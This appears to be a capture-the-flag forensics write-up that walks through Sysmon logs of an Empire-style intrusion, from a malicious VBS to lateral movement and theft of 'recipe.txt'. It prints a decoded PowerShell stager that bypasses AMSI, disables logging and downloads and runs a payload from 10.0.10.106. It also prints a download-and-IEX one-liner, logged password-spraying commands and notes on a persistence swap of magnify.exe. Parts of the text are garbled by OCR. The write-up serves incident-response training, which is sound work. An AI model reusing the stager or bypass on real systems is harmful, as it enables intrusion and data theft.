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All of the files were running under nmartha

[illegible]

Flag: autoupdate.vbs,nmartha

# Black Gates 2

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What is the full path to the process spawned by the malicious script? (format - C:\Users\my\_script.ext)

We can see from question 1 that there is a PowerShell script that is ran, but we can also run the following jq command: `cat empire_ap3_2019-05-14223117.json | jq '.event_data | select(."ParentCommandLine" | contains("autoupdate.vbs"))?)'`

```
kali@kali:~/Sctf$ cat empire_ap3_2019-05-14223117.json | jq '.event_data | select(."ParentCommandLine" | contains("autoupdate.vbs"))?'
{
  "ParentProcessGuid": "{03ba39f5-41f6-5cda-0000-001021848800}",
  "UtcTime": "2019-05-14 22:32:23.369",
  "IntegrityLevel": "Medium",
  "ParentProcessId": "6324",
  "Description": "Windows PowerShell",
  "CurrentDirectory": "C:\\Users\\nmartha\\Downloads\\",
  "ParentCommandLine": "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\nmartha\\Downloads\\autoupdate.vbs\" ",
  "FileVersion": "10.0.17763.1 (WinBuild.160101.0800)",
  "Company": "Microsoft Corporation",
  "ProcessId": "6148",
  "TerminalSessionId": "1",
  "ProcessGuid": "{03ba39f5-41f7-5cda-0000-001026b28800}",
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "LogonId": "0xc0cc4",
  "LogonGuid": "{03ba39f5-e67a-5cda-0000-0020c40c0c00}",
  "ParentImage": "C:\\Windows\\System32\\wscript.exe",
  "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noP -sta -w 1 -enc SQBGACGJABQAFMAVgBIAHIAcwBJAE8AbgBUAEF
  QBbAFIARQBmAF0ALgBBAFMACwBFaE0AQgBMAHKALgBHAGUAVABUAfKAUABFACgAJwBTAHkAcwB0AGUAbQAUAE0AYQBuaGEAZwBLAG0AZQBuaHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVG
  AGkAYwB5AFMAZQB0AHQAaQBuaGcAcwAnACwAJwBOACcAKwAnAG8AbgBQAUAyYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkARgAoACQAOABEAEAAQwAxACKAewAKADMAMgBLADQARgA9A
  AUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuaGcAJwBdACKAewAKADMAMgBLADQARgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuaGcA
  AwADsAJAAzADIAARQAQgAYWwAnAFMAYwByAGkACAB0AEIAJwArACcABABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuaGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgE
  G8AbgBTAC4ARwBFAG4ARQBSAGkAQwAUAEQASQBjAFQAaQBPAQ4AQQBjYAHkAWwBTAHQAcgBpAG4ARwAsAFMAeQBTAHQAQZBNAC4ATwBiAEoAZQBjAFQAQXBdADoAQgBuAGUAVwAoACKAOWAKAH
  bgBnACcALAAwACKAOWAKAFYAQQBMAC4AQQBEEAQKAAnAEUAbgBhAGIAbABIAFMAYwByAGkACAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuaGcAJwAsADAHA
  hAHIAZQBcAFAAbwBsAGkAYwBpAGUAwBcAE0AAQBiAHIAbwbzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcRBTAGgAZQBSAGwAXABTAGMAcRBPAAHAADABACcAKwAnAGwAbwB3
```

Flag: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

# Black Gates 3

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what IP and port does the spawned process connect to? (format - IP:port)

If we base64 decode the PowerShell command we get the following information:

```
IF($PSVersionTable.PSVersion.Major -Ge
3){$8DAC1=[Ref].Assembly.GetType('System.Management.Automation.Utils')."GETFIE`ID"('cachedGroupPolicySettings','N'+onPublic,Static');IF($8DAC1){$32e4F=$8DAC1.GetValue($null);IF($32E4F['ScriptB'+lockLogging']){$32e4F['ScriptB'+lockLogging']['EnableScriptB'+lockLogging']=0;$32E4f['ScriptB'+lockLogging']['EnableScriptBlockInvocationLogging']=0}$val=[CollectionS.GENERIC.Dictionary[String,System.Object]]::new();$val.Add('EnableScriptB'+lockLogging,0);$VAL.ADD('EnableScriptBlockInvocationLogging',0);$32E4f['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+lockLogging]=$VAL}ELSE{$ScriptBlock."GETFIE`ID"('signatures','N'+onPublic,Static').SetVALUE($null,(New-Object
COLLECTIONS.GENERIC.HASHSet[string]))}$REF=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$REF.GetField('amsiInitFailed','NonPublic,Static').SETVALUE($null,$true);[SYSTEM.Net.SerVICEPOIntMaNAGER]::EXPECT100ConTinUE=0;$43Ef3=NEw-ObjEcT
SystEm.Net.WebClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback =
{$true};$43ef3.Headers.Add('User-Agent',$u);$43eF3.Headers.ADD('User-Agent',$u);$43ef3.Proxy=[SYStEm.Net.WEBRequeSt]::DEFaUltWeBPROXY;$43ef3.PRoxy.CRedEnTialS =
[SYStEm.Net.CredEntIALCache]::DEFaUltNeTwORKCrEDentialS;$Script:Proxy =
$43ef3.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('~k*_FSjr8%xweJ6h|PK.f{UNMHudp5ym');$R={$D,$K=$ArGs;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_ % $K.Count])%256;$S[$_]=$S[$J],$S[$J]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I]=$S[$H],$S[$I];$_-bxOr$S[($S[$I]+$S[$H])%256]}};$ser=$([Text.Encoding]::Unicode.GetString([CONvert]::FromBASe64StRing('aAB0AHQAcABzADoALwAvADEAMAAuADAALgAxADAALgAxADAANgA=')));$t='/news.php';$43Ef3.Headers.Add("Cookie","HYvIPJMmskyNFTk=z0j0vCMOIvEr2FISfiFkRCjlr8c=");$DaTa=$43Ef3.DownloADDATa($Ser+$T);$iv=$DaTA[0..3];$DaTA=$dATA[4..$dAtA.lengTh];-join[Char[]](& $R $Data ($iv+$K)) | IEX
```

We see that there is a web user agent call specified to an external connection.

If we grep on the process id from last question: "6148" we can see the call out to 10.0.10.106:443

```
{
  "UtcTime": "2019-05-03 13:55:25.217",
  "DestinationPort": "443",
  "ProcessId": "6148",
  "SourceIsIpv6": "false",
  "Initiated": "true",
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "DestinationIsIpv6": "false",
  "DestinationIp": "10.0.10.106",
  "SourceIp": "172.18.39.106",
  "SourceHostname": "HR001.shire.com",
  "Protocol": "tcp",
  "DestinationPortName": "https",
  "User": "SHIRE\\nmartha",
  "ProcessGuid": "{03ba39f5-41f7-5cdb-0000-001026b28800}",
  "SourcePort": "52386"
}
```

Regular expression  
Built in regexes  
Regex  
Case insensitive

Flag:

10.0.10.106:443

# Black Gates 4

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After the initial Powershell session is established, what is the first executable the adversary runs interactively from the terminal?  
(format: file.exe, ignore conhost)

We will look at nmartha as a user to see what all is done, we may see commands that get ran:

We just want the commandline options so I am greping only those lines to reduce the clutter.

```
cat empire_ap3_2019-05-14223117.json | jq '.event_data | select(.User | contains("nmartha"))?' |  
grep "CommandLine"
```

```
3sAHIA0ABjAD0AIgApADsAJABEAGEAVABhAD0AJAA0ADMARQBmADMALgBEAE8AdwBuAGwAbwBBAEQARABBAFQAYQ  
C0AagBvAGkAbgBbAEMASABhAHIAWwBdAF0AKAAMACAAJABSACAAJABEAEEdABhACAACAkAEkAVgArACQASwApA  
"CommandLine": "\"C:\\Windows\\system32\\ROUTE.EXE\" print",  
"ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe  
jADEAPQBbAFIARQBmAF0ALgBBAFMACwBFAE0AQgBMAHkALgBHAGUAVABUAFKAUABFACgAJwBTAHkAcwB0AGUAbQA  
AbwBsAGkAYwB5AFMAZQB0AHQAaQBwAGcAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAH
```

Flag: route.exe

# Black Gates 5

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What is the process id of the initial  
PowerShell session?

This was the filter we used in BG 3

Flag: 6148

# Black Gates 6

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What is the name of the PowerShell script downloaded shortly after initial compromise?

There is a short base64 encoded PowerShell after the big scripts:

```
"CommandLine": "\\C:\\Windows\\system32\\reg.exe" query HKKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v EnableLUA",
"CommandLine": "powershell.exe -x -enc [base64 encoded PowerShell script]",
"CommandLine": "\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1",
"CommandLine": "\\C:\\Windows\\system32\\backgroundTaskHost.exe" -ServerName:App.AppXem3t55seep7q92md35v2a5rk5mwyvz.mca",
```

Decoded we get this:

IEX "(new-object net.webclient).downloadstring('http://10.0.10.106:8080/update.ps1')" | IEX

Flag: update.ps1



# Black Gates 7

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What is the host name of the first computer the adversary attempted to move laterally to after compromise?

We can see from watching nmartha commandline arguments that they are trying to pivot with net.exe

```
cat empire Apt3_2019-05-14223117.json | jq '.event_data | select(.User | contains("nmartha"))?' |  
grep -i commandline | grep -v Parent | less
```

```
"CommandLine": "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\pgustavo Password123",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\pgustavo W1n1!19",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use /delete \\\\IT001\\ADMIN$",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\pgustavo Luch0!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\pgustavo Hunting!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\pgustavo P3dr0Dulc3!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\lrodriguez Password123",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\lrodriguez W1n1!19",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\lrodriguez Luch0!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\lrodriguez Hunting!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\lrodriguez P3dr0Dulc3!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\mmidge Password123",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\mmidge W1n1!19",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\mmidge Luch0!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\mmidge Hunting!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\IT001\\ADMIN$ /user:shire\\mmidge P3dr0Dulc3!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\pgustavo Password123",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\pgustavo W1n1!19",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use /delete \\\\ACCT001\\ADMIN$",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\pgustavo Luch0!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\pgustavo Hunting!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\pgustavo P3dr0Dulc3!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\lrodriguez Password123",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\lrodriguez W1n1!19",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\lrodriguez Luch0!",  
"CommandLine": "\\C:\\Windows\\system32\\net.exe" use \\\\ACCT001\\ADMIN$ /user:shire\\lrodriguez Hunting!",
```

Flag: IT001



# Black Gates 8

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What is the username and password of the account that was successfully compromised during a password-spraying attack? (format - username:password)

```
cat empire_ap3_2019-05-14223117.json | jq '.event_data | select(.User | contains("nmartha"))?' |  
grep -i commandline | grep -v Parent | less
```

from here we can see that "pgustavo W1n1!19" happens right before a delete action is taken.

Flag: pgustavo:W1n1!19

# Black Gates 9

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What is the hostname of the machine accessed by the adversary with the pgustavo account?

```
cat empire_ap3_2019-05-14223117.json | jq '.event_data | select(.User | contains("nmartha"))?' |  
grep -i commandline | grep -v Parent | less
```

We can see all the stations that the attacker tries. Right after the pgustavo login works several tasks are done on the server.

```
"CommandLine": "\"C:\\Windows\\system32\\net.exe\" use \\\\HFDC01\\ADMIN$ /user:shire\\pgustavo W1n1!19",  
"CommandLine": "taskhostw.exe Install $(Arg0)",  
"CommandLine": "\"C:\\Windows\\system32\\net.exe\" use /delete \\\\HFDC01\\ADMIN$",  
"CommandLine": "\"C:\\Windows\\system32\\net.exe\" use \\\\HFDC01\\C$ /user:shire\\pgustavo W1n1!19",  
"CommandLine": "taskhostw.exe KEYROAMING",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXemn3t55sepg7q92mwd35v2a5rk5mvwyx.mca",  
"CommandLine": "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding",  
"CommandLine": "taskhostw.exe KEYROAMING",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca",  
"CommandLine": "\"C:\\Windows\\system32\\mmc.exe\" \"C:\\Windows\\system32\\eventvwr.msc\" /s",  
"CommandLine": "\"C:\\Windows\\system32\\mmc.exe\" \"C:\\Windows\\system32\\eventvwr.msc\" /s",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXemn3t55sepg7q92mwd35v2a5rk5mvwyx.mca",  
"CommandLine": "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding",  
"CommandLine": "taskhostw.exe Install $(Arg0)",  
"CommandLine": "taskhostw.exe KEYROAMING",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXemn3t55sepg7q92mwd35v2a5rk5mvwyx.mca",  
"CommandLine": "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding",  
"CommandLine": "taskhostw.exe KEYROAMING",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca",  
"CommandLine": "\"C:\\Windows\\system32\\recycle.exe\" a -t7z C:\\$Recycle.Bin\\old.7z C:\\$Recycle.Bin\\recipe.txt",  
"CommandLine": "taskhostw.exe Install $(Arg0)",  
"CommandLine": "\"C:\\Windows\\System32\\ftp.exe\" -v -s:ftp.txt",  
"CommandLine": "\"C:\\Windows\\system32\\mstsc.exe\" ",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca",  
"CommandLine": "\"C:\\Windows\\System32\\CredentialUIBroker.exe\" NonAppContainerFailedMip -Embedding",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXemn3t55sepg7q92mwd35v2a5rk5mvwyx.mca",  
"CommandLine": "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding",
```

Flag: HFDC01

# Black Gates 10

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What binary did the adversary replace on  
HFDC01 to establish persistence?  
(format: file.exe)

For this one we can look for ownership changes, and one tool that does this in windows is the iccls.exe

I created a query for any commands that called iccls:

```
cat empire_ap3_2019-05-14223117.json | jq '.event_data | select(.CommandLine | contains("iccls"))?'
```

```

kali@kali:~/5ctf$ cat empire_aprt3_2019-05-14223117.json | jq '.event_data | select(.CommandLine | contain
{
  "LogonGuid": "{905CC552-2036-5CC5-0000-0020E7030000}",
  "IntegrityLevel": "System",
  "ProcessGuid": "{905CC552-4D1E-5CDB-0000-00106DDC10}",
  "Image": "C:\\Windows\\System32\\icaccls.exe",
  "User": "NT AUTHORITY\\SYSTEM",
  "LogonId": "0x3e7",
  "ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noP -sta -w 1 -
QBjADEAPQBbAFIARQBmAF0ALgBBAFMAcwbFAE0AQgBMAHkALgBHAGUAVABUAFkAUABFACgAJwBTAHkAcwB0AGUAbQAUAE0AYQBuaGEAZwB
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  "ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "ParentProcessId": "4100",
  "ProcessId": "2092",
  "CurrentDirectory": "C:\\Windows\\system32\\",
  "Hashes": "SHA1=8291754C0A2A2C886BBB2B56D85CBAC3968E3BD2,MD5=0F7E1625009A0C00A9D9809694FC5831,SHA256=0CA
  "Company": "Microsoft Corporation",
  "CommandLine": "\"C:\\windows\\system32\\icaccls.exe\" C:\\windows\\system32\\magnify.exe /grant SYSTEM:F
  "FileVersion": "10.0.14393.0 (rs1_release.160715-1616)",
  "TerminalSessionId": "0",
  "ParentProcessGuid": "{905CC552-4C3A-5CDB-0000-0010E047DC10}",
  "UtcTime": "2019-05-14 23:19:58.286",
  "Product": "Microsoft® Windows® Operating System"
}

```

Flag: magnify.exe

What is the original name of the file stolen from the victim network?

[illegible]

```
CommandLine: "C:\Windows\system32\recycler.exe" -t7z C:\$Recycle.Bin\old.7z C:\$Recycle.Bin\recycle.txt",
CommandLine: "C:\Windows\system32\recycler.exe" -t7z C:\$Recycle.Bin\old.7z C:\$Recycle.Bin\recycle.txt",
param3: "CommandInvocation(Invoke-Expression) 'Invoke-Expression' param3: 'CommandInvocation(Invoke-Expression): name='Command'; value='recycler.exe -t7z C:\\$Recycle.Bin\\old.7z C:\\$Recycle.Bin\\recycle.txt'";
param3: "CommandInvocation(Format-Value) 'Format-Value' param3: 'CommandInvocation(Format-Value): name='Wrap'; value='True'";
param3: "CommandInvocation(Out-String) 'Out-String' param3: 'CommandInvocation(Out-String): name='InputObject'";
```

Flag: recipe.txt

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What is the name of the executable that was used to compress the stolen file?

I created a query on the old.7z file name in the command line to see what was ran to compress this, and it was 7-zip that was renamed to recycler.exe.

```
"Image": "C:\\Windows\\System32\\recycler.exe",
"LogonGuid": "{03ba39f5-e67a-5cda-0000-00209f0c0c00}",
"ProcessId": "6440",
"Product": "7-Zip",
"Company": "Igor Pavlov",
"ProcessGuid": "{03ba39f5-50c9-5cdb-0000-00100ff7a800}",
"User": "SHIRE\\nmrtha",
"CommandLine": "\"C:\\Windows\\system32\\recycler.exe\" a -t7z C:\\$Recycle.Bin\\old.7z C:\\$Recycle.Bin\\recipe.txt",
"LogonId": "0xc0c9f",
"ParentProcessId": "6520",
```

Flag: recycler.exe



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What is the name of the executable used to exfiltrate the compressed stolen file?

We know that this was the ftp service that was started, so this is an easy one with the investigation that we have completed so far

```
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca"  
"CommandLine": "\"C:\\Windows\\system32\\recycler.exe\" a -t7z C:\\$Recycle.Bin\\old.7z C:\\$Recycle.Bin\\recipe.txt",  
"CommandLine": "taskhostw.exe Install $(Arg0)",  
"CommandLine": "\"C:\\Windows\\System32\\ftp.exe\" -v -s:ftp.txt",  
"CommandLine": "\"C:\\Windows\\system32\\mstsc.exe\" ",  
"CommandLine": "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca",
```

Flag: ftp.exe